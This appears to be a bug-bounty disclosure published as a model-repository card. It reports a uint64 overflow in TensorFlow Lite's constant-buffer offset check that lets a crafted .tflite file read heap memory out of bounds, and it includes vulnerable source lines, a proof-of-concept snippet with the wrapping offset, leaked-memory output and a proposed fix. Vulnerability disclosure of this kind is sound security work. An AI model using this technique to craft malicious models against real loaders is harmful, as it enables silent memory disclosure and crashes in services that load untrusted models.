YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
TFLite uint64 Buffer.offset/Buffer.size integer-overflow bypasses the constant-buffer bounds check -> controlled out-of-bounds heap read in tf.lite.Interpreter
Target
- huntr format dropdown: TFLite (
.tflite) - Affected tool / package:
tensorflow(and the standalonetflite-runtime/ LiteRT interpreter, which ships the sameinterpreter_builder.cc) - Version tested:
tensorflow 2.21.0(CPython 3.12, flatbuffers 25.x). The vulnerable code is long-lived onmasterand on the maintained 2.x line; the >2GB "large model" offset/size path that this abuses is present in all current releases that support it. - Component:
tensorflow/lite/core/interpreter_builder.cc--InterpreterBuilder::ParseTensors, theget_readonly_datalambda.
Severity
Medium. Memory-safety bug (CWE-190 integer overflow -> CWE-125 out-of-bounds read) reachable purely by loading an untrusted .tflite model file, with no inference inputs and no host opt-in. It yields:
- a controlled out-of-bounds heap read where both the reach-back distance and the length are attacker-chosen (
base() - size, readsizebytes), with the bytes returned to the caller through the publicInterpreter.get_tensor()API -> silent information disclosure of adjacent process memory; and - alternatively a controlled wild-pointer dereference (large forward/backward offset) -> process crash / DoS.
This is an OOB read + DoS, not a demonstrated write/RCE, so it sits below the RCE tier. Honest dollar expectation on the huntr memory-corruption scale for .tflite: up to ~$1.5k (the .tflite / pickle-family / .npy / .h5 / PMML memory-corruption tier), not the $4k RCE / .joblib-class tier. I am not over-claiming RCE.
Summary
A .tflite flatbuffer may declare a constant tensor whose backing Buffer stores its payload outside the flatbuffer via Buffer.offset / Buffer.size (the >2GB "large model" feature). When the interpreter resolves that buffer it validates the offset with a single comparison:
offset + buffer->size() > allocation_->bytes()
Both offset and size are schema ulong (uint64). The addition is performed in 64-bit with no overflow guard. By choosing offset = 2^64 - size, the sum wraps modulo 2^64 to 0, which is <= allocation_->bytes(), so the bounds check passes. The interpreter then computes the data pointer as allocation_->base() + offset, which equals base() - size -- a location before/outside the model allocation. The out-of-bounds bytes become the contents of a constant tensor and are handed back to the caller via interpreter.get_tensor(<index>).
Root cause (exact file:line)
tensorflow/lite/core/interpreter_builder.cc, inside InterpreterBuilder::ParseTensors, lambda get_readonly_data (line numbers from the v2.21.0 tree shipped in the tested wheel):
672 if (auto* buffer = (*buffers)[tensor->buffer()]) {
673 auto offset = buffer->offset(); // uint64_t (schema ulong)
674 if (auto* array = buffer->data()) {
675 *buffer_size = array->size();
676 *buffer_data = reinterpret_cast<const char*>(array->data());
677 return kTfLiteOk;
678 } else if (offset > 1 && allocation_) {
679 if (offset + buffer->size() > allocation_->bytes()) { // <-- uint64 ADD, no overflow check
680 TF_LITE_REPORT_ERROR(
681 error_reporter_,
682 "Constant buffer %d specified an out of range offset.\n",
683 tensor->buffer());
684 return kTfLiteError; // intended rejection
685 }
686 *buffer_size = buffer->size();
687 *buffer_data =
688 reinterpret_cast<const char*>(allocation_->base()) + offset; // <-- base() + huge offset == OOB
689 return kTfLiteOk;
690 }
691 }
- Line 679 is the flawed guard:
offset + buffer->size()overflows uint64 and wraps, so a value that should be rejected passes. - Lines 687-688 then form an out-of-bounds pointer (
base() + offset).
The identical pattern exists for custom-op payloads in the same file, so the bug is not a one-off:
377 } else if (op->large_custom_options_offset() > 1 && allocation_) {
378 if (op->large_custom_options_offset() +
379 op->large_custom_options_size() >
380 allocation_->bytes()) { // <-- same uint64 ADD, no overflow check
381 ... "Custom Option Offset for opcode_index %d is out of bound" ...
385 return kTfLiteError;
386 }
388 init_data = reinterpret_cast<const char*>(allocation_->base()) +
389 op->large_custom_options_offset(); // <-- base() + huge offset
The correct check must compare against the remaining space without summing, e.g. offset > bytes() || size > bytes() - offset.
PoC
Build. Start from a benign one-constant model, then flip its inline 256-byte constant buffer to the offset/size path with offset = 2^64 - size (the wrap), re-serialize, and load it. Full script: reproduce.py (self-contained, OS-portable). The decisive assertion is:
SIZE = 256
good_offset = 1 << 40 # huge, but offset+size does NOT wrap -> must be rejected
evil_offset = (1 << 64) - SIZE # offset+size wraps mod 2^64 to 0 -> bypasses the check
# 1) the bounds check is real:
tf.lite.Interpreter(model_content=craft(good_offset, SIZE)).allocate_tensors() # raises
# 2) the wrap bypasses the SAME check and returns OOB memory:
it = tf.lite.Interpreter(model_content=craft(evil_offset, SIZE))
it.allocate_tensors()
leaked = np.asarray(it.get_tensor(tidx)).view(np.uint8)
assert not np.array_equal(leaked, model_own_constant) # foreign memory, not the 7.5 constant
Captured output (mfvenv python, tensorflow 2.21.0; stderr banner noise removed):
STEP 1 -- prove the bounds check is REAL (non-wrapping huge offset).
OK: offset=2^40 (no wrap) correctly REJECTED: Constant buffer 2 specified an out of range offset.
STEP 2 -- bypass the SAME check with a uint64 wrap, read OOB.
offset = 2^64 - 256 = 0xffffffffffffff00, size = 256
guard computes (offset+size) mod 2^64 = 0 -> "0 > filesize"? False => check BYPASSED
LOADED OK (no "out of range offset" error).
get_tensor(1) returned 256 bytes from base-256 (OUTSIDE the model).
returns the model own 7.5 constant? False
first 32 OOB bytes: [10, 32, 32, 32, 32, 62, 62, 62, 32, 97, 120, 50, 32, 61, 32, 102, 105, 103, 46, 97, 100, 100, 95, 115, 117, 98, 112, 108, 111, 116, 40, 49]
as text : ". >>> ax2 = fig.add_subplot(122) # right sid"
STEP 3 -- attacker controls reach-back AND length (offset=2^64-size).
size=256 -> ... check BYPASSED; disclosed 256 bytes from base-256
size=1024 -> ... check BYPASSED; disclosed 256 bytes from base-1024
size=4096 -> ... check BYPASSED; disclosed 256 bytes from base-4096
size=65536 -> ... check BYPASSED; disclosed 256 bytes from base-65536
[RESULT] CONFIRMED: ... tf.lite.Interpreter returns attacker-relative out-of-bounds heap
memory through get_tensor() on an untrusted .tflite file.
The leaked bytes (>>> ax2 = fig.add_subplot(122) # right sid...) are an unrelated docstring living on the heap before the model allocation -- concrete proof the read crossed the allocation boundary and disclosed foreign process memory rather than the model's own 7.5 constant. STEP 3 shows the reach-back distance is fully attacker-controlled (base-256 ... base-65536).
A second confirmation script, confirm_controlled_read.py, sweeps the disclosed length and shows the same (offset+size) mod 2^64 == 0 bypass for sizes 256 B ... 64 KiB.
Impact (threat model)
The realistic scenario huntr's model-format scope targets: a victim downloads or is sent an untrusted .tflite model (a Hugging Face / model-zoo artifact, an attachment, a CI fixture, an upload to a model-hosting / scanning service) and loads it with tf.lite.Interpreter(model_path=...) / (model_content=...) + allocate_tensors() -- the standard, documented way to run a TFLite model. No inference inputs and no special flags are required; merely parsing the model triggers the bug.
- Information disclosure: the attacker reads attacker-chosen offsets of adjacent process memory back through
get_tensor(). In a multi-tenant inference service, a model-scanning backend, or any process that loads a model and then exposes tensor contents / outputs, this can leak secrets, keys, other tenants' data, or ASLR-defeating pointers from the heap. - Denial of service: a forward/large offset turns
base() + offsetinto a wild pointer; dereferencing it during tensor setup crashes the loading process. (The disk-mmapmodel_path=allocation tends to fault on the backward read, so the crash variant is the reliable outcome there, while the in-memorymodel_content=allocation gives the clean silent-disclosure primitive shown above.)
Because the disclosure is silent (load succeeds, no error, no crash), it is well-suited to exfiltration.
Honest dup / scope note
- Distinct from the known TFLite integer-overflow CVEs. The historical TFLite overflow advisories -- CVE-2021-29605 (memory-allocation size multiplier), CVE-2022-23558 (
TfLiteIntArrayGetSizeInBytesarray creation), CVE-2021-29601 (concatenation), CVE-2022-23559 (embedding lookup) -- are all int32 size-computation overflows in operator/allocation code paths, exercised during graph build or inference. This finding is a uint64 overflow in the constant-buffer OFFSET validation ininterpreter_builder.cc(the >2GB external-buffer "large model" feature), a different sink that those fixes do not touch. I could not find a public advisory or fix specifically for theoffset + sizeuint64 wrap inget_readonly_data/large_custom_options_offset. Maintainer should still confirm against the internal TF security tracker before triage, since TFLite has a large CVE history and not every fix is individually indexed. - Scope is clean for huntr. The affected tool is TensorFlow itself and the format is
.tflite, which is an explicit huntr model-format target -- this is not a picklescan/modelaudit/modelscan-scanner-only issue, and it is not an orbax/off-list format, so no scope caveat of that kind applies. (Flagging proactively per the playbook: this is in-scope as a.tfliteloader memory-corruption bug.) - Not a malformed-random-bytes crash. The control case proves the bounds check is genuinely present and rejects an ordinary out-of-range offset; only the deliberate uint64 wrap defeats it. The primitive is controlled (chosen address + length), not an incidental fuzz crash.
Remediation
Replace the overflow-prone sum with a subtraction-based bound that cannot wrap, in both sites:
// constant buffers (line ~679)
const uint64_t bytes = allocation_->bytes();
if (offset > bytes || buffer->size() > bytes - offset) {
// "out of range offset"
return kTfLiteError;
}
// custom-op payloads (line ~378)
const uint64_t off = op->large_custom_options_offset();
const uint64_t sz = op->large_custom_options_size();
if (off > bytes || sz > bytes - off) {
// "out of bound"
return kTfLiteError;
}
Additionally consider rejecting offset/size values that exceed the allocation up front (defence in depth), and adding a fuzz seed for Buffer.offset/Buffer.size and large_custom_options_offset/_size near 2^64.
Reproduction (reviewer quickstart)
# in an environment that already has tensorflow + flatbuffers (do not pip-install if provided)
python3 reproduce.py
Expected: STEP 1 prints "correctly REJECTED"; STEP 2 prints "check BYPASSED" and "returns the model own 7.5 constant? False" with non-model bytes; final line prints "CONFIRMED". A malicious_offset_overflow.tflite artifact is written next to the script.
- Downloads last month
- 3